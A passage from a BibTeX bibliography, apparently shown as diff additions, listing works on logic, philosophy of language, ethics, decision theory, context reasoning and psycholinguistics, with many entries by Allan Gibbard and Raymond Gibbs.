Temporal Relations Through Indexed + Spanning Trees}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {1297--1303}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {temporal-reasoning;} + } + +@incollection{ ghallib:1996a, + author = {Malik Ghallib}, + title = {On Chronicles: Representations, On-Line Recognition and + Learning}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {597--606}, + address = {San Francisco, California}, + topic = {kr;temporal-reasoning;kr-course;} + } + +@book{ ghezzi-etal:1991a, + author = {Carlo Ghezzi and Mehdi Jazayeri and Dino Mandrioli}, + title = {Introduction to the Personal Software Process}, + publisher = {Addison-Wesley}, + year = {1997}, + address = {Reading, Massachusetts}, + ISBN = {0201548097}, + topic = {software-engineering;} + } + +@inproceedings{ ghidini-serafini:1996a, + author = {Chiara Ghidini and Luciano Serafini}, + title = {Distributed First Order Logics}, + booktitle = {Frontiers of Combining Systems 2}, + year = {1996}, + editor = {Franz Baader and Klaus Ulrich Schulz}, + publisher = {Research Studies Press}, + address = {Berlin}, + missinginfo = {pages}, + note = {Also IRST-Technical Report 9709-02, IRST, Trento, Italy}, + topic = {context;} + } + +@phdthesis{ ghidini:1998a, + author = {Chiara Ghidini}, + title = {A Semantics for Contextual Reasoning: Theory and Two + Relevant Applications}, + school = {Department of Computer Science, University of Rome + ``La Sapienza''}, + year = {1998}, + type = {Ph.{D}. Dissertation}, + address = {Rome}, + topic = {context;contextual-reasoning;} + } + +@incollection{ ghidini:1999a, + author = {Chiara Ghidini}, + title = {Modelling (Un)Bounded Beliefs}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {145--158}, + address = {Berlin}, + topic = {context;multimodal-logic;epistemic-logic; + logic-of-context;} + } + +@incollection{ ghidini-serfini:1999a, + author = {Chiara Ghidini and Luigi Serfini}, + title = {A Context-Based Logic for Distributed Knowledge + Representation and Reasoning}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {159--172}, + address = {Berlin}, + topic = {context;logic-of-context;} + } + +@article{ ghidini-giunchiglia:2001a, + author = {Chiara Ghidini and Fausto Giunchiglia}, + title = {Local Models Semantics, or Contextual Reasoning $=$ + Locality$\,+\,$Compatibility}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {127}, + number = {2}, + pages = {221--259}, + xref = {Conference Publication: ghidini-giunchiglia:1998a.}, + topic = {kr;context;epistemic-logic;propositional-attitudes; + reasoning-about-knowledge;kr-course;} + } + +@article{ ghidini-giunchiglia_f:2001a, + author = {Chiara Ghidini and Fausto Giunchiglia}, + title = {Local Models Semantics, or Contextual + Reasoning $=$ Locality $+$ Compatibility}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {127}, + number = {2}, + pages = {221--259}, + topic = {context;logic-of-context;} + } + +@article{ ghilardi-zawadowski:1995a, + author = {Silvio Ghilardi and Marek Zawadowski}, + title = {Undefinability of Propositional Quantifiers in the System + A4}, + journal = {Studia Logica}, + year = {1995}, + volume = {55}, + number = {2}, + pages = {259--271}, + topic = {propositional-quantifiers;} + } + +@inproceedings{ ghirardato-marinacci:1998a, + author = {Paolo Ghirardato and Massimo Marinacci}, + title = {Ambiguity Made Precise: A Comparative Foundation}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {293--296}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {foundations-of-probability;} + } + +@incollection{ ghose-goebel:1998a, + author = {Adiyata K. Ghose and Randy Goebel}, + title = {Belief States as Default Theories: Studies in + Non-Prioritized Belief Change}, + booktitle = {{ECAI}98, Thirteenth European Conference on + Artificial Intelligence}, + publisher = {John Wiley and Sons}, + year = {1998}, + editor = {Henri Prade}, + pages = {8--12}, + address = {Chichester}, + contentnote = {This paper suggests using default theories to model + belief states.}, + rtnpte = {Relevant to my work on practical reasoning.}, + topic = {belief-revision;default-logic;} + } + +@article{ giambrone:1985a, + author = {Steve Giambrone}, + title = {$TW_{+}$ and $RW_{+}$ Are Decidable}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + number = {3}, + pages = {235--254}, + topic = {relevance-logic;} + } + +@inproceedings{ giannakidou:1995a, + author = {Anastasia Giannakidou}, + title = {Subjunctive, Habituality and Negative Polarity Markers}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {94--111}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;polarity;} + } + +@article{ giannakidou:1999b, + author = {Anastasia Giannakidou}, + title = {Affective Dependencies}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {4}, + pages = {367--421}, + topic = {negation;polarity;} + } + +@article{ giannakidou:2001a, + author = {Anastasia Giannakidou}, + title = {The Meaning of Free Choice}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {6}, + pages = {659--735}, + topic = {free-choice-`any/or';Greek-language;} + } + +@phdthesis{ gibbard:1971a1, + author = {Allan F. Gibbard}, + title = {Utilitarianism and Coordination}, + school = {Philosophy Department, Harvard University}, + year = {1971}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, Massachusetts}, + xref = {Book Publication: gibbard:1971a2}, + topic = {utilititarianism;game-theoretic-coordination;} + } + +@book{ gibbard:1971a2, + author = {Allan F. Gibbard}, + title = {Utilitarianism and Coordination}, + publisher = {Garland Publishing Co.}, + year = {1990}, + series = {Distinguished Harvard Dissertations in Philosophy}, + address = {New York}, + xref = {Republication of gibbard:1971a1.}, + topic = {utilititarianism;game-theoretic-coordination;} + } + +@article{ gibbard:1972a, + author = {Allan F. Gibbard}, + title = {Doing No More Harm Than Good}, + journal = {Philosophical Studies}, + year = {1972}, + volume = {24}, + pages = {158--173}, + topic = {foundations-of-utility;} + } + +@article{ gibbard:1973a1, + author = {Allan F. Gibbard}, + title = {Manipulation of Voting Schemes: A General Result}, + journal = {Econometrica}, + year = {1973}, + volume = {41}, + number = {4}, + pages = {587--601}, + xref = {Republication: gibbard:1973a2}, + topic = {welfare-economics;social-choice-theory;strategic-voting;} + } + +@incollection{ gibbard:1973a2, + author = {Allan F. Gibbard}, + title = {Manipulation of Voting Schemes: A General Result}, + booktitle = {Social Choice Theory}, + publisher = {Elgar}, + year = {1993}, + editor = {Charles Kershaw Rowley}, + address = {Aldershot, England}, + note = {International Library of Critical + Writings in Economics, 27. Elgar Reference Collection.}, + missinginfo = {pages}, + xref = {Republication of gibbard:1973a1}, + topic = {welfare-economics;social-choice-theory;strategic-voting;} + } + +@article{ gibbard:1973b, + author = {Allan F. Gibbard}, + title = {Doing No More Harm Than Good}, + journal = {Philosophical Studies}, + year = {1973}, + volume = {24}, + number = {3}, + pages = {158--173}, + topic = {utilitatianism;} + } + +@article{ gibbard:1974a1, + author = {Allan F. Gibbard}, + title = {A Pareto-Consistent Libertarian Claim}, + journal = {Journal of Economic Theory}, + year = {1974}, + volume = {7}, + pages = {338--410}, + missinginfo = {number}, + xref = {Republication: gibbard:1974a2}, + topic = {welfare-economics;ethics;} + } + +@incollection{ gibbard:1974a2, + author = {Allan F. Gibbard}, + title = {A {P}areto-Consistent Libertarian Claim}, + booktitle = {Social Choice Theory}, + publisher = {Elgar}, + year = {1993}, + editor = {Charles Kershaw Rowley}, + address = {Aldershot, England}, + note = {International Library of Critical Writings in Economics, + 27. Elgar Reference Collection.}, + xref = {Republication of gibbard:1974a1}, + missinginfo = {pages}, + topic = {welfare-economics;ethics;} + } + +@article{ gibbard:1975a, + author = {Allan F. Gibbard}, + title = {Contingent Identity}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {2}, + pages = {187--221}, + topic = {identity;individuation;} + } + +@unpublished{ gibbard:1975b, + author = {Allan F. Gibbard}, + title = {Non-{B}ayesian News Items}, + year = {1975}, + note = {Unpublished manuscript, University of Pittsburgh.}, + topic = {probability-kinematics;foundations-of-utility;} + } + +@article{ gibbard:1977a1, + author = {Allan F. Gibbard}, + title = {Manipulation of Schemes That Mix Voting with Chance}, + journal = {Econometrica}, + year = {1977}, + volume = {45}, + number = {3}, + pages = {665--681}, + topic = {welfare-economics;social-choice-theory;strategic-voting;} + } + +@article{ gibbard:1978a, + author = {Allan F. Gibbard}, + title = {Straightforwardness of Game Forms with Lotteries as Outcomes}, + journal = {Econometrica}, + year = {1978}, + volume = {46}, + number = {3}, + pages = {595--614}, + topic = {foundations-of-game-theory;} + } + +@incollection{ gibbard:1978b, + author = {Allan F. Gibbard}, + title = {Act-Utilitarian Agreements}, + booktitle = {Values and Morals: Essays in Honor of {W}illiam + {F}rankena, {C}harles {S}tevenson, and {R}ichard {B}randt}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + editor = {Alvin I. Goldman and Jaegwon Kim}, + pages = {91--119}, + address = {Dordrecht}, + topic = {utilitarianism;} + } + +@article{ gibbard:1978c, + author = {Allan F. Gibbard}, + title = {Preference Strength and Two Kinds of Ordinalism}, + journal = {Philosophia}, + year = {1978}, + volume = {7}, + number = {2}, + pages = {255--264}, + topic = {preferences;utilities;} + } + +@incollection{ gibbard:1978d, + author = {Allan F. Gibbard}, + title = {Social Decision, Strategic Behavior, and Best Outcomes}, + booktitle = {Decision Theory and Social Ethics: Issues in Social + Choice}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + editor = {Hans W. Gottinger and Werner Leinfellner}, + pages = {153--168}, + address = {Dordrecht}, + topic = {social-choice-theory;} + } + +@incollection{ gibbard-harper:1978a1, + author = {Allan F. Gibbard and William L. Harper}, + title = {Counterfactuals and Two Kinds of Expected Utility}, + booktitle = {Foundations and Applications of Decision Theory}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + editor = {Clifford Hooker and James J. Leach and Edward McClennen}, + pages = {125--162}, + address = {Dordrecht}, + xref = {Republished in harper-etal:1981a.}, + topic = {conditionals;decision-theory;causal-decision-theory; + Newcomb-problem;} + } + +@incollection{ gibbard-harper:1978a2, + author = {Allan F. Gibbard and William L. Harper}, + title = {Counterfactuals and Two Kinds of Expected Utility}, + booktitle = {Ifs: Conditionals, Belief, Decision, Chance, and Time}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + editor = {William L. Harper and Robert Stalnaker and Glenn Pearce}, + pages = {153--190}, + address = {Dordrecht}, + xref = {Originally Published in hooker-etal:1978a.}, + topic = {conditionals;decision-theory;} + } + +@article{ gibbard:1979a, + author = {Allan F. Gibbard}, + title = {Disparate Goods and {R}awls' Difference Principle: A + Social Choice Theoretic Treatment}, + journal = {Theory and Decision}, + year = {1979}, + volume = {11}, + number = {3}, + pages = {267--288}, + topic = {social-choice;social-justice;} + } + +@incollection{ gibbard:1981a, + author = {Allan F. Gibbard}, + title = {Two Recent Theories of Conditionals}, + booktitle = {Ifs: Conditionals, Beliefs, Decision, Chance, Time}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + editor = {William L. Harper and Robert C. Stalnaker and G. Pearce}, + pages = {211--247}, + address = {Dordrecht}, + topic = {conditionals;} + } + +@incollection{ gibbard:1981b, + author = {Allan F. Gibbard}, + title = {Indicative Conditionals and Conditional Probability: Reply to + {P}ollock}, + booktitle = {Ifs: Conditionals, Beliefs, Decision, Chance, Time}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + editor = {William L. Harper and Robert C. Stalnaker and G. Pearce}, + pages = {253--256}, + address = {Dordrecht}, + topic = {cccp;conditionals;probability;} + } + +@incollection{ gibbard:1982a, + author = {Allan F. Gibbard}, + title = {Inchoately Utilitarian Common Sense: The Bearing of a Thesis of + {S}idgwick's on Moral Theory}, + booktitle = {The Limits of Utilitarianism}, + publisher = {University of Minnesota Press}, + year = {1982}, + editor = {Harlan B. Miller and William H. Williams}, + pages = {71--85}, + address = {Minneapolis}, + topic = {utilitarianism;} + } + +@incollection{ gibbard:1982b, + author = {Allan F. Gibbard}, + title = {Human Evolution and the Sense of Justice}, + booktitle = {Social and Political Philosophy}, + publisher = {University of Minnesota Press}, + year = {1982}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {31--46}, + address = {Minneapolis, Minnesota}, + topic = {evolution;ethics;political-philosophy;} + } + +@article{ gibbard:1983a, + author = {Allan F. Gibbard}, + title = {A Noncognitivistic Analysis of Rationality in Action}, + journal = {Social Theory and Practice}, + year = {1983}, + volume = {9}, + pages = {199--222}, + missinginfo = {number}, + topic = {rationality;action;ethics;} + } + +@article{ gibbard:1984a1, + author = {Allan F. Gibbard}, + title = {Utilitarianism and Human Rights}, + journal = {Social Philosophy and Policy}, + year = {1984}, + volume = {1}, + number = {2}, + pages = {92--102}, + xref = {Republished in gibbard:1984a2, gibbard:1984a3.}, + topic = {utilitarianism;ethics;} + } + +@incollection{ gibbard:1984a2, + author = {Allan F. Gibbard}, + title = {Utilitarianism and Human Rights}, + booktitle = {Human Rights}, + publisher = {Blackwell Publishers}, + year = {1984}, + editor = {Ellen Paul Frankel and Fred {Miller, Jr.} and Jeffrey Paul}, + pages = {92--102}, + address = {Oxford}, + xref = {Republication of gibbard:1984a1.}, + topic = {utilitarianism;ethics;} + } + +@incollection{ gibbard:1984a3, + author = {Allan F. Gibbard}, + title = {Utilitarianism and Human Rights}, + booktitle = {Readings in Social and Political Philosophy}, + publisher = {Prentice-Hall}, + year = {1992}, + editor = {John Arthur and William H. Shaw}, + address = {Englewood Cliffs, New Jersey}, + missinginfo = {pages}, + xref = {Republication of gibbard:1984a1.}, + topic = {utilitarianism;ethics;} + } + +@article{ gibbard:1985a, + author = {Allan F. Gibbard}, + title = {Normative Objectivity}, + journal = {No\^us}, + year = {1985}, + volume = {19}, + number = {1}, + pages = {41--51}, + topic = {ethics;} + } + +@article{ gibbard:1985b1, + author = {Allan F. Gibbard}, + title = {Moral Judgment and the Acceptance of Norms}, + journal = {Ethics}, + year = {1985}, + volume = {96}, + number = {1}, + pages = {5--21}, + xref = {Republcations: gibbard:1985b2, gibbard:1985b3.}, + topic = {ethics;} + } + +@incollection{ gibbard:1985b2, + author = {Allan F. Gibbard}, + title = {Moral Judgment and the Acceptance of Norms}, + booktitle = {Ethics and Economics}, + publisher = {Elgar}, + year = {1996}, + editor = {Alan P. Hamlin}, + address = {Aldershot, England}, + note = {International Library of Critical + Writings in Economics. Elgar Reference Collection.}, + missinginfo = {pages}, + xref = {Republcation of gibbard:1985b1.}, + topic = {ethics;} + } + +@incollection{ gibbard:1985b3, + author = {Allan F. Gibbard}, + title = {Moral Judgment and the Acceptance of Norms}, + booktitle = {Moral Philosophy: Selected Readings}, + publisher = {Harcourt Brace College Publishers}, + year = {1996}, + editor = {George Sher}, + address = {Fort Worth}, + missinginfo = {pages}, + xref = {Republcation of gibbard:1985b1.}, + topic = {ethics;} + } + +@incollection{ gibbard:1986a, + author = {Allan F. Gibbard}, + title = {Risk and Value}, + booktitle = {Values at Risk}, + publisher = {Rowman and Allanheld}, + year = {1986}, + editor = {Douglas MacLean}, + pages = {94--112}, + address = {Totowa, New Jersey}, + note = {Maryland Studies in Public Philosophy}, + topic = {utility;risk;decision-theory;} + } + +@incollection{ gibbard:1987a, + author = {Allan F. Gibbard}, + title = {Ordinal Utilitarianism}, + booktitle = {Arrow and the Foundations of the Theory of Economic + Policy}, + publisher = {New York University Press}, + year = {1987}, + editor = {George R. Feiwel}, + pages = {135--153}, + address = {New York}, + topic = {utilitarianism;} + } + +@book{ gibbard:1990a, + author = {Allan F. Gibbard}, + title = {Wise Choices, Apt Feelings: A Theory of Normative Judgement}, + publisher = {Harvard University Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + topic = {ethics;} + } + +@article{ gibbins:1982a, + author = {P.F. Gibbins}, + title = {The Strange Modal Logic of Indeterminacy}, + journal = {Logique et Analyse, Nouvelle S\'erie}, + year = {1982}, + volume = {50}, + pages = {443--446}, + missinginfo = {A's 1st name}, + topic = {vagueness;identity;} + } + +@book{ gibbon-etal:1997a, + editor = {Daffyd Gibbon and Roger Moore and Richard Winski}, + title = {Handbook of Standards and Resources for Spoken Language + Systems}, + publisher = {Mouton de Gruyter}, + year = {1997}, + address = {Berlin}, + ISBN = {3-11-015366-1}, + xref = {Review: vansanten:1998a}, + topic = {speech-generation;speech-recognition;} + } + +@book{ gibbon_d-richter:1984a, + editor = {Dafydd Gibbon and Helmut Richter}, + title = {Intonation, Accent, and Rhythm: Studies in Discourse + Phonology}, + publisher = {Walter de Gruyter}, + year = {1984}, + address = {Berlin}, + topic = {discourse-analysis;} +} + +@unpublished{ gibbon_d:1990a, + author = {Daffyd Gibbon}, + title = {Prosodic Association by Template Inheritance}, + year = {1990}, + month = {March}, + note = {Unpublished manuscript.}, + topic = {lexical-prosody;} + } + +@unpublished{ gibbon_d:1998a, + author = {Daffyd Gibbon}, + title = {{ZDATR} Version 2.0}, + year = {1998}, + note = {Version 1. Available from http://coral.lili.uni-bielefeld.de.}, + topic = {DATR;} + } + +@article{ gibbons:1996a, + author = {John Gibbons}, + title = {Externalism and the Knowledge of Content}, + journal = {The Philosophical Review}, + year = {1996}, + volume = {105}, + number = {3}, + pages = {287--310}, + topic = {propositional-attitudes;} + } + +@article{ gibbs_jrw-obrian_j:1991a, + author = {J.R.W. Gibbs and J. O'Brian}, + title = {Psychological Aspects of Irony Understanding}, + journal = {Journal of Pragmatics}, + year = {1991}, + volume = {16}, + number = {6}, + pages = {523--530}, + missinginfo = {A's 1st name}, + topic = {irony;cognitive-psychology;} + } + +@article{ gibbs_rw:1980a, + author = {Raymond W.. {Gibbs, Jr.}}, + title = {Spilling the Beans on Understanding and Memory for Idioms + in Conversation}, + journal = {Memory and Cognition}, + year = {1980}, + volume = {8}, + pages = {149--156}, + missinginfo = {A's 1st name, number}, + topic = {idioms;pragmatics;cognitive-psychology;} + } + +@article{ gibbs_rw:1981a, + author = {Raymond W. {Gibbs, Jr.}}, + title = {Your Wish Is My Command: Convention and Context in + Interpreting Indirect Requests}, + journal = {Journal of Verbal Learning and Verbal Behavior}, + year = {1981}, + volume = {20}, + pages = {431--444}, + missinginfo = {A's 1st name, number}, + topic = {indirect-speech-acts;cognitive-psychology;} + } + +@article{ gibbs_rw:1983a, + author = {Raymond W. {Gibbs, Jr.}}, + title = {Literal Meaning and Psychological Theory}, + journal = {Cognitive Science}, + year = {1983}, + volume = {8}, + pages = {275--304}, + missinginfo = {number}, + topic = {speaker-meaning;cognitive-psychology;foundations-of-semantics;} + } + +@article{ gibbs_rw:1983b, + author = {Raymond W. {Gibbs, Jr.}}, + title = {Do People Always Process the Literal Meanings of Indirect + Requests?}, + journal = {Journal of Experimental Psychology: Learning, Memory, + and Cognition}, + year = {1983}, + volume = {9}, + pages = {524--533}, + topic = {indirect-speech-acts;cognitive-psychology; + foundations-of-semantics;} + } + +@article{ gibbs_rw:1986a, + author = {Raymond W. {Gibbs, Jr.}}, + title = {On the Psycholinguistics of Sarcasm}, + journal = {Journal of Experimental Psychology: General}, + year = {1986}, + volume = {115}, + pages = {3--15}, + missinginfo = {number}, + topic = {irony;cognitive-psychology;} + } + +@article{ gibbs_rw:1986b, + author = {Raymond W.. {Gibbs, Jr.}}, + title = {What Makes Some Indirect Speech Acts Conventional?}, + journal = {Journal of Memory and Language}, + year = {1986}, + volume = {25}, + pages = {181--196}, + missinginfo = {A's 1st name, number}, + topic = {indirect-speech-acts;} + } + +@article{ gibbs_rw-nayak:1988a, + author = {Raymond W. {Gibbs, Jr.} and N.P. Nayak}, + title = {Psycholinguistic Studies on the Syntactic Behavior of Idioms}, + journal = {Cognitive Psychology}, + year = {1988}, + volume = {21}, + pages = {100--138}, + missinginfo = {A's 1st name, number}, + topic = {idioms;cognitive-psychology;} + } + +@article{ gibbs_rw-gerrig:1989a, + author = {Raymond W. {Gibbs, Jr.} and R.J. Gerrig}, + title = {How Context Makes Metaphor Comprehension Seem `Special'\,}, + journal = {Metaphor and Symbolic Activity}, + year = {1989}, + volume = {4}, + pages = {145--158}, + missinginfo = {A's 1st name, number}, + topic = {metaphor;cognitive-psychology;context;} + } + +@article{ gibbs_rw-moise:1997a, + author = {Raymond W. {Gibbs, Jr.} and J.F. Moise}, + title = {Pragmatics in Understanding What Is Said}, + journal = {Cognition}, + year = {1997}, + volume = {62}, + pages = {51--74}, + missinginfo = {A's 1st name, number}, + topic = {pragmatics;speaker-meaning;cognitive-psychology;} + } + +@book{ gibbs_rw:1999a, + author = {Raymond W. {Gibbs, Jr.}}, + title = {Intentions in the Experience of Meaning}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {052157630-X (Pbk)}, + topic = {intentions;speaker-meaning;cognitive-psychology;} + } + +@article{ gibbs_rw:1999b, + author = {Raymond W. {Gibbs, Jr.}}, + title = {Speakers' Intuitions and Pragmatic Theory}, + journal = {Cognition}, + year = {1999}, + volume = {69}, + pages = {355--359}, + missinginfo = {A's 1st name, number}, + topic = {pragmatics;cognitive-psychology;} + } + +@incollection{ gibert:1992a, + author = {Jacek Gibert}, + title = {Declarative Knowledge Representation in Planning and + Scheduling}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {1--12}, + address = {San Mateo, California}, + topic = {kr;planning;scheduling;kr-course;} + } + +@incollection{ giboin:1999a, + author = {Alain Giboin}, + title = {Contextual Divorces: Towards a Framework for Identifying + Critical Context Issues in Collaborative-Argumentation System + Design}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {471--474}, + address = {Berlin}, + topic = {context;computer-aided-design;} + } + +@article{ giere:1976a, + author = {Ronald N. Giere}, + title = {A {L}aplacian Formal Semantics for Single-Case + Propensities}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {3}, + pages = {321--353}, + topic = {foundations-of-probability;propensity;} + } + +@article{ giere:2000a, + author = {Ronald N. Giere}, + title = {Review of {\it The Dappled World: A Study in the + Boundaries of Science}, by } , + journal = {Philosophy of Science}, + year = {2000}, + volume = {67}, + number = {3}, + pages = {527--530}, + xref = {Review of cartwright_n:1999a.}, + topic = {philosophy-of-science;natural-laws;} + } + +@incollection{ gigerenzer:1998a, + author = {Gerd Gigerenzer}, + title = {Psychological Challenges for Normative Models}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 1: Quantified Representation + of Uncertainty and Imprecision}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {441--467}, + address = {Dordrecht}, + topic = {psychology-of-decision-theory;} + } + +@book{ gigerenzer-etal:1999a, + author = {Gerd Gigerenzer and Peter M. Todd and the ABC Research + Group}, + title = {Simple Heuristics That Make Us Smart}, + publisher = {Oxford University Press}, + year = {1999}, + address = {New York}, + ISBN = {0195121562 (alk. paper)}, + contentnote = {TC: + 1. Gerd Gigerenzer and Peter M. Todd, "Fast and frugal + heuristics: the adaptive toolbox" + 2. Daniel G. Goldstein and Gerd Gigerenzer, "The recognition + heuristic: how ignorance makes us smart" + 3. Bernhard Borges, [et al.]..., "Can ignorance beat the stock + market?" + 4. Gerd Gigerenzer and Daniel G.Goldstein, "Betting on one good + reason: the take the best heuristic" + 5. Jean Czerlinski, Gerd Gigerenzer, and Daniel G. Goldstein, + "How good are simple heuristics?" + 6. Laura Martignon and Ulrich Hoffrage, "Why does one-reason + decision making work?: a case study in ecological + rationality" + 7. J\"org Rieskamp and Ulrich Hoffrage, "When do people use simple + heuristics and how can we tell?" + 8. Laura Martignon and Kathryn Blackmond Laskey, "Bayesian + benchmarks for fast and frugal heuristics" + 9. Ulrich Hoffrage and Ralph Hertwig, "Hindsight bias: a price + worth paying forfast and frugal memory" + 10. Ralph Hertwig,Ulrich Hoffrage, and Laura Martignon, "Quick + estimation: letting the environment do the work" + 11. Patricia M. Berretty, Peter M. Todd, and Laura Martignon, + "Categorization by elimination:using few clues to + choose" + 12. Philip W. Blythe, Peter M. Todd, and Geoffrey F.Miller, "How + motion reveals intention: categorizing social + interactions" + 13. Peter M. Todd and Geoffrey F. Miller, "From pride and + prejudice to persuasion: satisficing in mate search" + 14. Jennifer Nerissa Davis and Peter M. Todd, "Parental + investment by simple decision rules" + 15. Adam S. Goodie, [etal.]..., "Demons versus heuristics in + artificial intelligence, behavioural ecology, and + economics" + 16. Peter M. Todd and Gerd Gigenrenzer, "What we have learned (so + far)" + } , + topic = {heuristics;} + } + +@article{ gil:1982a, + author = {David Gil}, + title = {Quantifier Scope, Linguistic Variation and Natural + Language Semantics}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {4}, + pages = {421--472}, + topic = {nl-semantics;quantifier-scope;nl-quantifiers; + foundations-of-semantics;} + } + +@incollection{ gil:1985a, + author = {David Gil}, + title = {Universal Quantifiers and Distributivity}, + booktitle = {Quantification in Natural Languages, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {321--362}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;distributivity-of-quantifiers;} + } + +@incollection{ gil:1987a, + author = {David Gil}, + title = {Definiteness, Noun Phrase Configuationality, and the + Count-Mass Distinction}, + booktitle = {The Representation of (In)definites}, + publisher = {The {MIT} Press}, + year = {1987}, + editor = {Eric Reuland and Alice {ter Meulen}}, + pages = {254--269}, + address = {Cambridge, Massachusetts}, + topic = {(in)definiteness;mass-term-semantics;} + } + +@article{ gilbert_c:1998a, + author = {Christopher Gilbert}, + title = {The Role of Thoughts in {W}ittgenstein's Tractatus}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {4}, + pages = {341--352}, + topic = {early-Wittgenstein;} + } + +@incollection{ gilbert_d-etal:1994a, + author = {David Gilbert and Christopher J. Hogger and Jirm + Zlatuska}, + title = {Transforming Specifications of Observable + Behaviour into Programs}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {88--103}, + address = {Berlin}, + topic = {software-engineering;logic-program-synthesis;} + } + +@book{ gilbert_dt-etal:1998a, + editor = {Daniel T. Gilbert and Susan T. Fiske and Gardner Lindzey}, + title = {The Handbook of Social Psychology}, + edition = {4}, + publisher = {McGraw-Hill}, + year = {1998}, + address = {New York}, + contentnote = {TC: + VOL. 1. MAJOR DEVELOPMENTS IN FIVE DECADES OF SOCIAL + PSYCHOLOGY + 1. Shelley E. Taylor, "The Social Being in Social Psychology" + 2. Elliot Aronson and Timothy D. Wilson and Marilynn B. + Brewer, "Experimentation in Social Psychology" + 3. Norbert Schwarz and Robert M. Groves and Howard + Schuman, "Survey Methods" + 4. Charles M. Judd and Gary H. McClelland, "Measurement" + 5. David A. Kenny and Deborah A. Kashy and Niall Bolger, "Data + Analysis in Social Psychology" + 6. Alice H. Eagly, Shelly Chaiken, "Attitude structure and + Function" + 7. Richard E. Petty and Duane T. Wegener, "Attitude Change: + Multiple Roles for Persuation Variables" + 8. Eliot R. Smith, "Gender" + 9. Daniel M. Wegner and John A. Bargh, "Control and + Automaticity in Social Life" + 10. Robyn M. Dawes, "Behavioral Decision Making and Judgment" + 11. Thane S. Pittman, "Motivation" + 12. Robert B. Zajonc, "Emotions" + 13. Mark Snyder, Nancy Cantor, "Understanding Personality and + Social Behavior: A Functionalist Strategy" + 14. Roy Baumeister, "The Self" + 15. Dianne N. Ruble and Jacqueline J. Goodnow, "Social Development + in Childhood and Adulthood" + 16. Kay Deaux, Marianne LaFrance, "Gender" + VOL. 2. NONVERBAL COMMUNICATION + 1. Robert M. Krauss and Chi-Yue Chiu, "Language and Social Behavior" + 2. Daniel T. Gilbert, "Ordinary Personality" + 3. Robert B. Cialdini and Melanie R. Trost, "Social Influence: + Social Norms, Conformity, and Compliance" + 4. Ellen Bersheid and Harry T. Reis, "Attraction and Close + Relationships" + 5. C. Daniel Batson, "Altruism and Prosocial Behavior" + 6. Russell G. Geen, "Aggression and Antisocial Behavior" + 7. Susan T. Fiske, "Stereotyping, Prejudice, and Discrimination" + 8. John M. Levine, Richard L. Moreland, "Small Groups" + 9. Dean G. Pruitt, "Social Conflict" + 10. Jennifer Crocker and Brenda Major and Claude Steele, "Social + Stigma" + 11. Marilynn B. Brewer and Rupert J. Brown, "Intergroup Relations" + 12. Tom R. Tyler and Heather J. Smith, 